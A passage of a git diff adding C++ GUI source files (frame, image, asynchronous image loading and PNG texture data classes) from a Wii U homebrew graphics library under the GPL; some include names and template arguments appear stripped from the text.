****************************************************************************/ +#include "GuiFrame.h" + +GuiFrame::GuiFrame(GuiFrame *p) +{ + parent = p; + width = 0; + height = 0; + dim = false; + + if(parent) + parent->append(this); +} + +GuiFrame::GuiFrame(f32 w, f32 h, GuiFrame *p) +{ + parent = p; + width = w; + height = h; + dim = false; + + if(parent) + parent->append(this); +} + +GuiFrame::~GuiFrame() +{ + closing(this); + + if(parent) + parent->remove(this); +} + +void GuiFrame::append(GuiElement* e) +{ + if (e == NULL) + return; + + remove(e); + elements.push_back(e); + e->setParent(this); +} + +void GuiFrame::insert(GuiElement* e, u32 index) +{ + if (e == NULL || (index >= elements.size())) + return; + + remove(e); + elements.insert(elements.begin()+index, e); + e->setParent(this); +} + +void GuiFrame::remove(GuiElement* e) +{ + if (e == NULL) + return; + + for (u32 i = 0; i < elements.size(); ++i) + { + if(e == elements[i]) + { + elements.erase(elements.begin()+i); + break; + } + } +} + +void GuiFrame::removeAll() +{ + elements.clear(); +} + +void GuiFrame::close() +{ + //Application::instance()->pushForDelete(this); +} + +void GuiFrame::dimBackground(bool d) +{ + dim = d; +} + +GuiElement* GuiFrame::getGuiElementAt(u32 index) const +{ + if (index >= elements.size()) + return NULL; + return elements[index]; +} + +u32 GuiFrame::getSize() +{ + return elements.size(); +} + +void GuiFrame::resetState() +{ + GuiElement::resetState(); + + for (u32 i = 0; i < elements.size(); ++i) + { + elements[i]->resetState(); + } +} + +void GuiFrame::setState(int s, int c) +{ + GuiElement::setState(s, c); + + for (u32 i = 0; i < elements.size(); ++i) + { + elements[i]->setState(s, c); + } +} + +void GuiFrame::clearState(int s, int c) +{ + GuiElement::clearState(s, c); + + for (u32 i = 0; i < elements.size(); ++i) + { + elements[i]->clearState(s, c); + } +} + +void GuiFrame::setVisible(bool v) +{ + visible = v; + + for (u32 i = 0; i < elements.size(); ++i) + { + elements[i]->setVisible(v); + } +} + +int GuiFrame::getSelected() +{ + // find selected element + int found = -1; + for (u32 i = 0; i < elements.size(); ++i) + { + if(elements[i]->isStateSet(STATE_SELECTED | STATE_OVER)) + { + found = i; + break; + } + } + return found; +} + +void GuiFrame::draw(CVideo * v) +{ + if(!this->isVisible() && parentElement) + return; + + if(parentElement && dim == true) + { + //GXColor dimColor = (GXColor){0, 0, 0, 0x70}; + //Menu_DrawRectangle(0, 0, GetZPosition(), screenwidth,screenheight, &dimColor, false, true); + } + + //! render appended items next frame but allow stop of render if size is reached + u32 size = elements.size(); + + for (u32 i = 0; i < size && i < elements.size(); ++i) + { + elements[i]->draw(v); + } +} + +void GuiFrame::updateEffects() +{ + if(!this->isVisible() && parentElement) + return; + + GuiElement::updateEffects(); + + //! render appended items next frame but allow stop of render if size is reached + u32 size = elements.size(); + + for (u32 i = 0; i < size && i < elements.size(); ++i) + { + elements[i]->updateEffects(); + } +} + +void GuiFrame::update(GuiController * c) +{ + if(isStateSet(STATE_DISABLED) && parentElement) + return; + + //! update appended items next frame + u32 size = elements.size(); + + for (u32 i = 0; i < size && i < elements.size(); ++i) + { + elements[i]->update(c); + } +} diff --git a/src/gui/GuiFrame.h b/src/gui/GuiFrame.h new file mode 100644 index 0000000..d780684 --- /dev/null +++ b/src/gui/GuiFrame.h @@ -0,0 +1,96 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef GUI_FRAME_H_ +#define GUI_FRAME_H_ + +#include +#include "GuiElement.h" +#include "sigslot.h" + +//!Allows GuiElements to be grouped together into a "window" +class GuiFrame : public GuiElement +{ + public: + //!Constructor + GuiFrame(GuiFrame *parent = 0); + //!\overload + //!\param w Width of window + //!\param h Height of window + GuiFrame(f32 w, f32 h, GuiFrame *parent = 0); + //!Destructor + virtual ~GuiFrame(); + //!Appends a GuiElement to the GuiFrame + //!\param e The GuiElement to append. If it is already in the GuiFrame, it is removed first + void append(GuiElement* e); + //!Inserts a GuiElement into the GuiFrame at the specified index + //!\param e The GuiElement to insert. If it is already in the GuiFrame, it is removed first + //!\param i Index in which to insert the element + void insert(GuiElement* e, u32 i); + //!Removes the specified GuiElement from the GuiFrame + //!\param e GuiElement to be removed + void remove(GuiElement* e); + //!Removes all GuiElements + void removeAll(); + //!Bring element to front of the window + void bringToFront(GuiElement *e) { remove(e); append(e); } + //!Returns the GuiElement at the specified index + //!\param index The index of the element + //!\return A pointer to the element at the index, NULL on error (eg: out of bounds) + GuiElement* getGuiElementAt(u32 index) const; + //!Returns the size of the list of elements + //!\return The size of the current element list + u32 getSize(); + //!Sets the visibility of the window + //!\param v visibility (true = visible) + void setVisible(bool v); + //!Resets the window's state to STATE_DEFAULT + void resetState(); + //!Sets the window's state + //!\param s State + void setState(int s, int c = -1); + void clearState(int s, int c = -1); + //!Gets the index of the GuiElement inside the window that is currently selected + //!\return index of selected GuiElement + int getSelected(); + //!Dim the Window's background + void dimBackground(bool d); + //!Draws all the elements in this GuiFrame + void draw(CVideo * v); + //!Updates the window and all elements contains within + //!Allows the GuiFrame and all elements to respond to the input data specified + //!\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD + void update(GuiController * t); + //!virtual Close Window - this will put the object on the delete queue in MainWindow + virtual void close(); + //!virtual show window function + virtual void show() {} + //!virtual hide window function + virtual void hide() {} + //!virtual enter main loop function (blocking) + virtual void exec() {} + //!virtual updateEffects which is called by the main loop + virtual void updateEffects(); + //! Signals + //! On Closing + sigslot::signal1 closing; + protected: + bool dim; //! Enable/disable dim of a window only + GuiFrame *parent; //!< Parent Window + std::vector elements; //!< Contains all elements within the GuiFrame +}; + +#endif diff --git a/src/gui/GuiImage.cpp b/src/gui/GuiImage.cpp new file mode 100644 index 0000000..344b770 --- /dev/null +++ b/src/gui/GuiImage.cpp @@ -0,0 +1,289 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include "GuiImage.h" +#include "video/CVideo.h" +#include "video/shaders/Texture2DShader.h" +#include "video/shaders/ColorShader.h" + +static const f32 fPiDiv180 = ((f32)M_PI / 180.0f); + +GuiImage::GuiImage(GuiImageData * img) +{ + if(img && img->getTexture()) + { + width = img->getWidth(); + height = img->getHeight(); + } + + internalInit(width, height); + imageData = img; +} + +GuiImage::GuiImage(int w, int h, const GX2Color & c, int type) +{ + internalInit(w, h); + imgType = type; + colorCount = ColorShader::cuColorVtxsSize / ColorShader::cuColorAttrSize; + + colorVtxs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, colorCount * ColorShader::cuColorAttrSize); + if(colorVtxs) + { + for(u32 i = 0; i < colorCount; i++) + setImageColor(c, i); + } +} + +GuiImage::GuiImage(int w, int h, const GX2Color *c, u32 color_count, int type) +{ + internalInit(w, h); + imgType = type; + colorCount = ColorShader::cuColorVtxsSize / ColorShader::cuColorAttrSize; + if(colorCount < color_count) + colorCount = color_count; + + colorVtxs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, colorCount * ColorShader::cuColorAttrSize); + if(colorVtxs) + { + for(u32 i = 0; i < colorCount; i++) + { + // take the last as reference if not enough colors defined + int idx = (i < color_count) ? i : (color_count - 1); + setImageColor(c[idx], i); + } + } +} + +/** + * Destructor for the GuiImage class. + */ +GuiImage::~GuiImage() +{ + if(colorVtxs) { + free(colorVtxs); + colorVtxs = NULL; + } +} + +void GuiImage::internalInit(int w, int h) +{ + imageData = NULL; + width = w; + height = h; + tileHorizontal = -1; + tileVertical = -1; + imgType = IMAGE_TEXTURE; + colorVtxsDirty = false; + colorVtxs = NULL; + colorCount = 0; + posVtxs = NULL; + texCoords = NULL; + vtxCount = 4; + primitive = GX2_PRIMITIVE_QUADS; + + imageAngle = 0.0f; + blurDirection = glm::vec3(0.0f); + positionOffsets = glm::vec3(0.0f); + scaleFactor = glm::vec3(1.0f); + colorIntensity = glm::vec4(1.0f); +} + +void GuiImage::setImageData(GuiImageData * img) +{ + imageData = img; + width = 0; + height = 0; + if(img && img->getTexture()) + { + width = img->getWidth(); + height = img->getHeight(); + } + imgType = IMAGE_TEXTURE; +} + +GX2Color GuiImage::getPixel(int x, int y) +{ + if(!imageData || this->getWidth() <= 0 || x < 0 || y < 0 || x >= this->getWidth() || y >= this->getHeight()) + return (GX2Color){0, 0, 0, 0}; + + u32 pitch = imageData->getTexture()->surface.pitch; + u32 *imagePtr = (u32*)imageData->getTexture()->surface.image_data; + + u32 color_u32 = imagePtr[y * pitch + x]; + GX2Color color; + color.r = (color_u32 >> 24) & 0xFF; + color.g = (color_u32 >> 16) & 0xFF; + color.b = (color_u32 >> 8) & 0xFF; + color.a = (color_u32 >> 0) & 0xFF; + return color; +} + +void GuiImage::setPixel(int x, int y, const GX2Color & color) +{ + if(!imageData || this->getWidth() <= 0 || x < 0 || y < 0 || x >= this->getWidth() || y >= this->getHeight()) + return; + + + u32 pitch = imageData->getTexture()->surface.pitch; + u32 *imagePtr = (u32*)imageData->getTexture()->surface.image_data; + imagePtr[y * pitch + x] = (color.r << 24) | (color.g << 16) | (color.b << 8) | (color.a << 0); +} + +void GuiImage::setImageColor(const GX2Color & c, int idx) +{ + if(!colorVtxs) { + return; + } + + if(idx >= 0 && idx < (int)colorCount) + { + colorVtxs[(idx << 2) + 0] = c.r; + colorVtxs[(idx << 2) + 1] = c.g; + colorVtxs[(idx << 2) + 2] = c.b; + colorVtxs[(idx << 2) + 3] = c.a; + colorVtxsDirty = true; + } + else if(colorVtxs) + { + for(u32 i = 0; i < (ColorShader::cuColorVtxsSize / sizeof(u8)); i += 4) + { + colorVtxs[i + 0] = c.r; + colorVtxs[i + 1] = c.g; + colorVtxs[i + 2] = c.b; + colorVtxs[i + 3] = c.a; + } + colorVtxsDirty = true; + } +} + +void GuiImage::setSize(int w, int h) +{ + width = w; + height = h; +} + +void GuiImage::setPrimitiveVertex(s32 prim, const f32 *posVtx, const f32 *texCoord, u32 vtxcount) +{ + primitive = prim; + vtxCount = vtxcount; + posVtxs = posVtx; + texCoords = texCoord; + + if(imgType == IMAGE_COLOR) + { + u8 * newColorVtxs = (u8 *) memalign(0x40, ColorShader::cuColorAttrSize * vtxCount); + + for(u32 i = 0; i < vtxCount; i++) + { + int newColorIdx = (i << 2); + int colorIdx = (i < colorCount) ? (newColorIdx) : ((colorCount - 1) << 2); + + newColorVtxs[newColorIdx + 0] = colorVtxs[colorIdx + 0]; + newColorVtxs[newColorIdx + 1] = colorVtxs[colorIdx + 1]; + newColorVtxs[newColorIdx + 2] = colorVtxs[colorIdx + 2]; + newColorVtxs[newColorIdx + 3] = colorVtxs[colorIdx + 3]; + } + + free(colorVtxs); + colorVtxs = newColorVtxs; + colorCount = vtxCount; + colorVtxsDirty = true; + } +} + +void GuiImage::draw(CVideo *pVideo) +{ + if(!this->isVisible() || tileVertical == 0 || tileHorizontal == 0) + return; + + f32 currScaleX = getScaleX(); + f32 currScaleY = getScaleY(); + + positionOffsets[0] = getCenterX() * pVideo->getWidthScaleFactor() * 2.0f; + positionOffsets[1] = getCenterY() * pVideo->getHeightScaleFactor() * 2.0f; + positionOffsets[2] = getDepth() * pVideo->getDepthScaleFactor() * 2.0f; + + scaleFactor[0] = currScaleX * getWidth() * pVideo->getWidthScaleFactor(); + scaleFactor[1] = currScaleY * getHeight() * pVideo->getHeightScaleFactor(); + scaleFactor[2] = getScaleZ(); + + //! add other colors intensities parameters + colorIntensity[3] = getAlpha(); + + //! angle of the object + imageAngle = DegToRad(getAngle()); + +// if(image && tileHorizontal > 0 && tileVertical > 0) +// { +// for(int n=0; n 0) +// { +// for(int i=0; i 0) +// { +// for(int i=0; isetShaders(); + ColorShader::instance()->setAttributeBuffer(colorVtxs, posVtxs, vtxCount); + ColorShader::instance()->setAngle(imageAngle); + ColorShader::instance()->setOffset(positionOffsets); + ColorShader::instance()->setScale(scaleFactor); + ColorShader::instance()->setColorIntensity(colorIntensity); + ColorShader::instance()->draw(primitive, vtxCount); + } + else if(imageData) + { + Texture2DShader::instance()->setShaders(); + Texture2DShader::instance()->setAttributeBuffer(texCoords, posVtxs, vtxCount); + Texture2DShader::instance()->setAngle(imageAngle); + Texture2DShader::instance()->setOffset(positionOffsets); + Texture2DShader::instance()->setScale(scaleFactor); + Texture2DShader::instance()->setColorIntensity(colorIntensity); + Texture2DShader::instance()->setBlurring(blurDirection); + Texture2DShader::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler()); + Texture2DShader::instance()->draw(primitive, vtxCount); + } +} diff --git a/src/gui/GuiImage.h b/src/gui/GuiImage.h new file mode 100644 index 0000000..88f7fbe --- /dev/null +++ b/src/gui/GuiImage.h @@ -0,0 +1,110 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef GUI_IMAGE_H_ +#define GUI_IMAGE_H_ + +#include "video/shaders/Shader.h" +#include "GuiElement.h" +#include "GuiImageData.h" + +//!Display, manage, and manipulate images in the GUI +class GuiImage : public GuiElement +{ +public: + enum ImageTypes + { + IMAGE_TEXTURE, + IMAGE_COLOR + }; + + //!\overload + //!\param img Pointer to GuiImageData element + GuiImage(GuiImageData * img); + //!\overload + //!Creates an image filled with the specified color + //!\param w Image width + //!\param h Image height + //!\param c Array with 4 x image color (BL, BR, TL, TR) + GuiImage(int w, int h, const GX2Color & c, int imgType = IMAGE_COLOR); + GuiImage(int w, int h, const GX2Color * c, u32 colorCount = 1, int imgType = IMAGE_COLOR); + //!Destructor + virtual ~GuiImage(); + //!Sets the number of times to draw the image horizontally + //!\param t Number of times to draw the image + void setTileHorizontal(int t) { tileHorizontal = t; } + //!Sets the number of times to draw the image vertically + //!\param t Number of times to draw the image + void setTileVertical(int t) { tileVertical = t; } + //!Constantly called to draw the image + void draw(CVideo *pVideo); + //!Gets the image data + //!\return pointer to image data + GuiImageData * getImageData() const { return imageData; } + //!Sets up a new image using the GuiImageData object specified + //!\param img Pointer to GuiImageData object + void setImageData(GuiImageData * img); + //!Gets the pixel color at the specified coordinates of the image + //!\param x X coordinate + //!\param y Y coordinate + GX2Color getPixel(int x, int y); + //!Sets the pixel color at the specified coordinates of the image + //!\param x X coordinate + //!\param y Y coordinate + //!\param color Pixel color + void setPixel(int x, int y, const GX2Color & color); + //!Change ImageColor + void setImageColor(const GX2Color & c, int idx = -1); + //!Change ImageColor + void setSize(int w, int h); + + void setPrimitiveVertex(s32 prim, const f32 *pos, const f32 *tex, u32 count); + + void setBlurDirection(u8 dir, f32 value) + { + if(dir < 2) { + blurDirection[dir] = value; + } + } + void setColorIntensity(const glm::vec4 & col) + { + colorIntensity = col; + } +protected: + void internalInit(int w, int h); + + int imgType; //!< Type of image data (IMAGE_TEXTURE, IMAGE_COLOR, IMAGE_DATA) + GuiImageData * imageData; //!< Poiner to image data. May be shared with GuiImageData data + int tileHorizontal; //!< Number of times to draw (tile) the image horizontally + int tileVertical; //!< Number of times to draw (tile) the image vertically + + //! Internally used variables for rendering + u8 *colorVtxs; + u32 colorCount; + bool colorVtxsDirty; + glm::vec3 positionOffsets; + glm::vec3 scaleFactor; + glm::vec4 colorIntensity; + f32 imageAngle; + glm::vec3 blurDirection; + + const f32 * posVtxs; + const f32 * texCoords; + u32 vtxCount; + s32 primitive; +}; + +#endif diff --git a/src/gui/GuiImageAsync.cpp b/src/gui/GuiImageAsync.cpp new file mode 100644 index 0000000..f453719 --- /dev/null +++ b/src/gui/GuiImageAsync.cpp @@ -0,0 +1,172 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include +#include "GuiImageAsync.h" +#include "fs/fs_utils.h" + +std::vector GuiImageAsync::imageQueue; +CThread * GuiImageAsync::pThread = NULL; +CMutex * GuiImageAsync::pMutex = NULL; +u32 GuiImageAsync::threadRefCounter = 0; +bool GuiImageAsync::bExitRequested = false; +GuiImageAsync * GuiImageAsync::pInUse = NULL; + +GuiImageAsync::GuiImageAsync(const u8 *imageBuffer, const u32 & imageBufferSize, GuiImageData * preloadImg) + : GuiImage(preloadImg) + , imgData(NULL) + , imgBuffer(imageBuffer) + , imgBufferSize(imageBufferSize) +{ + threadInit(); + threadAddImage(this); +} + +GuiImageAsync::GuiImageAsync(const std::string & file, GuiImageData * preloadImg) + : GuiImage(preloadImg) + , imgData(NULL) + , filename(file) + , imgBuffer(NULL) + , imgBufferSize(0) +{ + threadInit(); + threadAddImage(this); +} + +GuiImageAsync::~GuiImageAsync() +{ + threadRemoveImage(this); + while(pInUse == this) + usleep(1000); + + if (imgData) + delete imgData; + + threadExit(); +} + +void GuiImageAsync::threadAddImage(GuiImageAsync *Image) +{ + pMutex->lock(); + imageQueue.push_back(Image); + pMutex->unlock(); + pThread->resumeThread(); +} + +void GuiImageAsync::threadRemoveImage(GuiImageAsync *image) +{ + pMutex->lock(); + for(u32 i = 0; i < imageQueue.size(); ++i) + { + if(imageQueue[i] == image) + { + imageQueue.erase(imageQueue.begin() + i); + break; + } + } + pMutex->unlock(); +} + +void GuiImageAsync::clearQueue() +{ + pMutex->lock(); + imageQueue.clear(); + pMutex->unlock(); +} + +void GuiImageAsync::guiImageAsyncThread(CThread *thread, void *arg) +{ + while(!bExitRequested) + { + if(imageQueue.empty() && !bExitRequested) + pThread->suspendThread(); + + if(!imageQueue.empty() && !bExitRequested) + { + pMutex->lock(); + pInUse = imageQueue.front(); + imageQueue.erase(imageQueue.begin()); + pMutex->unlock(); + + if (!pInUse) + continue; + + + if(pInUse->imgBuffer && pInUse->imgBufferSize) + { + pInUse->imgData = new GuiImageData(pInUse->imgBuffer, pInUse->imgBufferSize); + } + else + { + u8 *buffer = NULL; + u32 bufferSize = 0; + + int iResult = LoadFileToMem(pInUse->filename.c_str(), &buffer, &bufferSize); + if(iResult > 0) + { + pInUse->imgData = new GuiImageData(buffer, bufferSize, GX2_TEX_CLAMP_MIRROR); + + //! free original image buffer which is converted to texture now and not needed anymore + free(buffer); + } + } + + if(pInUse->imgData) + { + if(pInUse->imgData->getTexture()) + { + pInUse->width = pInUse->imgData->getWidth(); + pInUse->height = pInUse->imgData->getHeight(); + pInUse->imageData = pInUse->imgData; + } + else + { + delete pInUse->imgData; + pInUse->imgData = NULL; + } + } + + pInUse = NULL; + } + } +} + +void GuiImageAsync::threadInit() +{ + if (pThread == NULL) + { + bExitRequested = false; + pMutex = new CMutex(); + pThread = CThread::create(GuiImageAsync::guiImageAsyncThread, NULL, CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 10); + pThread->resumeThread(); + } + + ++threadRefCounter; +} + +void GuiImageAsync::threadExit() +{ + --threadRefCounter; + + if((threadRefCounter == 0) && (pThread != NULL)) + { + bExitRequested = true; + delete pThread; + delete pMutex; + pThread = NULL; + pMutex = NULL; + } +} diff --git a/src/gui/GuiImageAsync.h b/src/gui/GuiImageAsync.h new file mode 100644 index 0000000..c0f2880 --- /dev/null +++ b/src/gui/GuiImageAsync.h @@ -0,0 +1,58 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef _GUIIMAGEASYNC_H_ +#define _GUIIMAGEASYNC_H_ + +#include +#include "GuiImage.h" +#include "system/CThread.h" +#include "system/CMutex.h" +#include "dynamic_libs/os_functions.h" + +class GuiImageAsync : public GuiImage +{ + public: + GuiImageAsync(const u8 *imageBuffer, const u32 & imageBufferSize, GuiImageData * preloadImg); + GuiImageAsync(const std::string & filename, GuiImageData * preloadImg); + virtual ~GuiImageAsync(); + + static void clearQueue(); + static void removeFromQueue(GuiImageAsync * image) { + threadRemoveImage(image); + } + private: + static void threadInit(); + static void threadExit(); + + GuiImageData *imgData; + std::string filename; + const u8 *imgBuffer; + const u32 imgBufferSize; + + static void guiImageAsyncThread(CThread *thread, void *arg); + static void threadAddImage(GuiImageAsync* Image); + static void threadRemoveImage(GuiImageAsync* Image); + + static std::vector imageQueue; + static CThread *pThread; + static CMutex * pMutex; + static u32 threadRefCounter; + static GuiImageAsync * pInUse; + static bool bExitRequested; +}; + +#endif /*_GUIIMAGEASYNC_H_*/ diff --git a/src/gui/GuiImageData.cpp b/src/gui/GuiImageData.cpp new file mode 100644 index 0000000..83ad08a --- /dev/null +++ b/src/gui/GuiImageData.cpp @@ -0,0 +1,207 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include +#include +#include "GuiImageData.h" +#include "system/memory.h" +/** + * Constructor for the GuiImageData class. + */ +GuiImageData::GuiImageData() +{ + texture = NULL; + sampler = NULL; + memoryType = eMemTypeMEM2; +} + +/** + * Constructor for the GuiImageData class. + */ +GuiImageData::GuiImageData(const u8 * img, int imgSize, int textureClamp, int textureFormat) +{ + texture = NULL; + sampler = NULL; + loadImage(img, imgSize, textureClamp, textureFormat); +} + +/** + * Destructor for the GuiImageData class. + */ +GuiImageData::~GuiImageData() +{ + releaseData(); +} + +void GuiImageData::releaseData(void) +{ + if(texture) { + if(texture->surface.image_data) + { + switch(memoryType) + { + default: + case eMemTypeMEM2: + free(texture->surface.image_data); + break; + case eMemTypeMEM1: + MEM1_free(texture->surface.image_data); + break; + case eMemTypeMEMBucket: + MEMBucket_free(texture->surface.image_data); + break; + } + } + delete texture; + texture = NULL; + } + if(sampler) { + delete sampler; + sampler = NULL; + } +} + +void GuiImageData::loadImage(const u8 *img, int imgSize, int textureClamp, int textureFormat) +{ + if(!img || (imgSize < 8)) + return; + + releaseData(); + gdImagePtr gdImg = 0; + + if (img[0] == 0xFF && img[1] == 0xD8) + { + //! not needed for now therefore comment out to safe ELF size + //! if needed uncomment, adds 200 kb to the ELF size + // IMAGE_JPEG + //gdImg = gdImageCreateFromJpegPtr(imgSize, (u8*) img); + } + else if (img[0] == 'B' && img[1] == 'M') + { + // IMAGE_BMP + //gdImg = gdImageCreateFromBmpPtr(imgSize, (u8*) img); + } + else if (img[0] == 0x89 && img[1] == 'P' && img[2] == 'N' && img[3] == 'G') + { + // IMAGE_PNG + gdImg = gdImageCreateFromPngPtr(imgSize, (u8*) img); + } + //!This must be last since it can also intefere with outher formats + else if(img[0] == 0x00) + { + // Try loading TGA image + //gdImg = gdImageCreateFromTgaPtr(imgSize, (u8*) img); + } + + if(gdImg == 0) + return; + + u32 width = (gdImageSX(gdImg)); + u32 height = (gdImageSY(gdImg)); + + //! Initialize texture + texture = new GX2Texture; + GX2InitTexture(texture, width, height, 1, 0, textureFormat, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_LINEAR_ALIGNED); + + //! if this fails something went horribly wrong + if(texture->surface.image_size == 0) { + delete texture; + texture = NULL; + gdImageDestroy(gdImg); + return; + } + + //! allocate memory for the surface + memoryType = eMemTypeMEM2; + texture->surface.image_data = memalign(texture->surface.align, texture->surface.image_size); + //! try MEM1 on failure + if(!texture->surface.image_data) { + memoryType = eMemTypeMEM1; + texture->surface.image_data = MEM1_alloc(texture->surface.image_size, texture->surface.align); + } + //! try MEM bucket on failure + if(!texture->surface.image_data) { + memoryType = eMemTypeMEMBucket; + texture->surface.image_data = MEMBucket_alloc(texture->surface.image_size, texture->surface.align); + } + //! check if memory is available for image + if(!texture->surface.image_data) { + gdImageDestroy(gdImg); + delete texture; + texture = NULL; + return; + } + //! set mip map data pointer + texture->surface.mip_data = NULL; + //! convert image to texture + switch(textureFormat) + { + default: + case GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM: + gdImageToUnormR8G8B8A8(gdImg, (u32*)texture->surface.image_data, texture->surface.width, texture->surface.height, texture->surface.pitch); + break; + case GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM: + gdImageToUnormR5G6B5(gdImg, (u16*)texture->surface.image_data, texture->surface.width, texture->surface.height, texture->surface.pitch); + break; + } + + //! free memory of image as its not needed anymore + gdImageDestroy(gdImg); + + //! invalidate the memory + GX2Invalidate(GX2_INVALIDATE_CPU_TEXTURE, texture->surface.image_data, texture->surface.image_size); + //! initialize the sampler + sampler = new GX2Sampler; + GX2InitSampler(sampler, textureClamp, GX2_TEX_XY_FILTER_BILINEAR); +} + +void GuiImageData::gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch) +{ + for(u32 y = 0; y < height; ++y) + { + for(u32 x = 0; x < width; ++x) + { + u32 pixel = gdImageGetPixel(gdImg, x, y); + + u8 a = 254 - 2*((u8)gdImageAlpha(gdImg, pixel)); + if(a == 254) a++; + + u8 r = gdImageRed(gdImg, pixel); + u8 g = gdImageGreen(gdImg, pixel); + u8 b = gdImageBlue(gdImg, pixel); + + imgBuffer[y * pitch + x] = (r << 24) | (g << 16) | (b << 8) | (a); + } + } +} + +//! TODO: figure out why this seems to not work correct yet +void GuiImageData::gdImageToUnormR5G6B5(gdImagePtr gdImg, u16 *imgBuffer, u32 width, u32 height, u32 pitch) +{ + for(u32 y = 0; y < height; ++y) + { + for(u32 x = 0; x < width; ++x) + { + u32 pixel = gdImageGetPixel(gdImg, x, y); + + u8 r = gdImageRed(gdImg, pixel); + u8 g = gdImageGreen(gdImg, pixel); + u8 b = gdImageBlue(gdImg, pixel); + + imgBuffer[y * pitch + x] = ((r >> 3) << 11) | ((g >> 2) << 5) | (b >> 3); + } + } +} diff --git a/src/gui/GuiImageData.h b/src/gui/GuiImageData.h new file mode 100644 index 0000000..03bc1df --- /dev/null +++ b/src/gui/GuiImageData.h @@ -0,0 +1,67 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef GUI_IMAGEDATA_H_ +#define GUI_IMAGEDATA_H_ + +#include +#include +#include "dynamic_libs/gx2_functions.h" +#include "system/AsyncDeleter.h" + +class GuiImageData : public AsyncDeleter::Element +{ +public: + //!Constructor + GuiImageData(); + //!\param img Image data + //!\param imgSize The image size + GuiImageData(const u8 * img, int imgSize, int textureClamp = GX2_TEX_CLAMP_CLAMP, int textureFormat = GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM); + //!Destructor + virtual ~GuiImageData(); + //!Load image from buffer + //!\param img Image data + //!\param imgSize The image size + void loadImage(const u8 * img, int imgSize, int textureClamp = GX2_TEX_CLAMP_CLAMP, int textureFormat = GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM); + //! getter functions + const GX2Texture * getTexture() const { return texture; }; + const GX2Sampler * getSampler() const { return sampler; }; + //!Gets the image width + //!\return image width + int getWidth() const { if(texture) return texture->surface.width; else return 0; }; + //!Gets the image height + //!\return image height + int getHeight() const { if(texture) return texture->surface.height; else return 0; }; + //! release memory of the image data + void releaseData(void); +private: + void gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch); + void gdImageToUnormR5G6B5(gdImagePtr gdImg, u16 *imgBuffer, u32 width, u32 height, u32 pitch); + + GX2Texture *texture; + GX2Sampler *sampler; + + enum eMemoryTypes + { + eMemTypeMEM2, + eMemTypeMEM1, + eMemTypeMEMBucket + }; + + u8 memoryType; +}; + +#endif diff --git 